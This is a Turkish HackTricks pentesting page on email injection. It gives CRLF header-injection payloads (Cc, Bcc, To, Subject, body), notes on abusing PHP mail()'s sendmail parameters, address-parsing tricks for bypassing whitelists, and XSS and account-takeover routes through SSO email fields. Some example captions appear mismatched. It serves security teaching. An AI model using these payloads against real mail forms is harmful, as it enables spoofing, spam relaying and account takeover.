hacktricks/pentesting-web/email-injections.md

170 lines
9.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# E-posta Enjeksiyonları
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Gönderilen e-postaya enjekte edin
### Gönderen argümanından sonra Cc ve Bcc enjekte edin
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
### Argüman enjeksiyonu
Mesaj alıcı ve alıcı1 hesaplarına gönderilecektir.
```
From:sender@domain.com%0ATo:attacker@domain.com
```
### Konu argümanı enjekte edilir
Mesaj orijinal alıcıya ve saldırgan hesaba gönderilecektir.
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Mesajın gövdesini değiştirin
İki satır boşluk ekleyin, ardından mesajınızı yazın ve mesajın gövdesini değiştirin.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() fonksiyonu istismarı
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### 5. Parametre ($additional\_parameters)
Bu bölüm, **saldırganın kontrol ettiği varsayılan bu parametreyi nasıl kötüye kullanabileceğine** odaklanacaktır.
Bu parametre, PHP'nin, ikili sendmail'i çağırmak için kullanacağı komut satırına eklenecektir. Bununla birlikte, bu parametre, `escapeshellcmd($additional_parameters)` işlevi ile temizlenecektir.
Bir saldırgan bu durumda **sendmail için ek parametreler enjekte edebilir**.
#### /usr/sbin/sendmail'in uygulamasındaki farklılıklar
**sendmail** arayüzü, sistemde yüklü olan MTA e-posta yazılımı (Sendmail, Postfix, Exim vb.) tarafından **sağlanır**. Temel işlevsellik (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle **aynı kalırken**, **diğer işlevler ve parametreler** yüklü MTA'ya bağlı olarak büyük ölçüde değişir.
İşte sendmail komut/arayüzünün farklı man sayfalarına örnekler:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**Sendmail'in kökenine** bağlı olarak, bunları kötüye kullanmak ve dosyaları sızdırmak veya hatta keyfi komutlar **çalıştırmak için farklı seçenekler keşfedilmiştir**. Nasıl yapıldığını kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## E-posta adına Enjekte Et
### E-postanın İhmal Edilen Kısımları
Semboller: **+, -** ve **{}** nadiren etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından **ihmal edilir**.
* Örn. john.doe+intigriti@example.com → john.doe@example.com
Parantezler arasındaki yorumlar () hem başta hem de sonda **ihmal edilecektir**.
* Örn. john.doe(intigriti)@example.com → john.doe@example.com
### Beyaz Liste Atlatma
<figure><img src="../.gitbook/assets/image (4) (6).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Alıntılar
<figure><img src="../.gitbook/assets/image (6) (4).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IP'ler
Köşeli parantezler arasında alan adı olarak IP'leri de kullanabilirsiniz:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Diğer Zafiyetler
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (296).png>)
## Üçüncü Taraf SSO
### XSS
**Github** veya **salesforce** gibi bazı hizmetler, üzerinde **XSS yükleri olan bir e-posta adresi oluşturmanıza izin verir**. Bu sağlayıcıları **başka hizmetlere giriş yapmak için kullanabilirseniz** ve bu hizmetler e-postayı **doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz.
### Hesap Ele Geçirme
Bir **SSO hizmeti**, verilen e-posta adresini doğrulamadan bir hesap oluşturmanıza izin veriyorsa (örneğin **salesforce**) ve daha sonra bu hesabı **salesforce'a güvenen başka bir hizmete giriş yapmak için kullanabilirseniz**, herhangi bir hesaba erişebilirsiniz.\
_Unutulmamalıdır ki salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir ancak uygulama bu bilgiyi dikkate almalıdır._
## Yanıt Adresi
E-posta gönderirken _**Kimden: sirket.com**_ ve _**Yanıtla: saldırgan.com**_ kullanarak, e-posta **içeriden** gönderildiği için **otomatik yanıt** gönderilirse, **saldırgan** bu **yanıtı alabilir**.
## Sert Geri Dönüş Oranı
AWS gibi belirli hizmetler, genellikle %10 olarak belirlenen bir eşik olan **Sert Geri Dönüş Oranı**nı uygular. Bu, özellikle e-posta teslimat hizmetleri için kritik bir metriktir. Bu oran aşıldığında, AWS'nin e-posta hizmeti gibi bir hizmet, e-posta gönderme yeteneklerinizi askıya alabilir veya engelleyebilir.
**Sert geri dönüş**, alıcının adresinin geçersiz veya mevcut olmaması nedeniyle gönderene geri döndürülen bir e-postayı ifade eder. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına veya alıcının sunucusunun e-postaları kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir.
AWS bağlamında, 1000 e-posta gönderirseniz ve bunlardan 100'ü sert geri dönüşlerden kaynaklanırsa (geçersiz adresler veya alanlar gibi nedenlerle), bu %10'luk bir sert geri dönüş oranı anlamına gelir. Bu oranı aşmak, AWS SES (Basit E-posta Hizmeti) tarafından e-posta gönderme yeteneklerinizi engellemek veya askıya almak için tetikleyebilir.
Kesintisiz e-posta hizmetini sağlamak ve gönderen itibarını korumak için düşük bir sert geri dönüş oranını korumak son derece önemlidir. Posta listelerinizdeki e-posta adreslerinin kalitesini izlemek ve yönetmek, bunu başarmada önemli ölçüde yardımcı olabilir.
Daha detaylı bilgi için, AWS'nin sert geri dönüşler ve şikayetlerle başa çıkma konusundaki resmi belgelerine başvurulabilir [AWS SES Geri Dönüş İşleme](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Referanslar
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}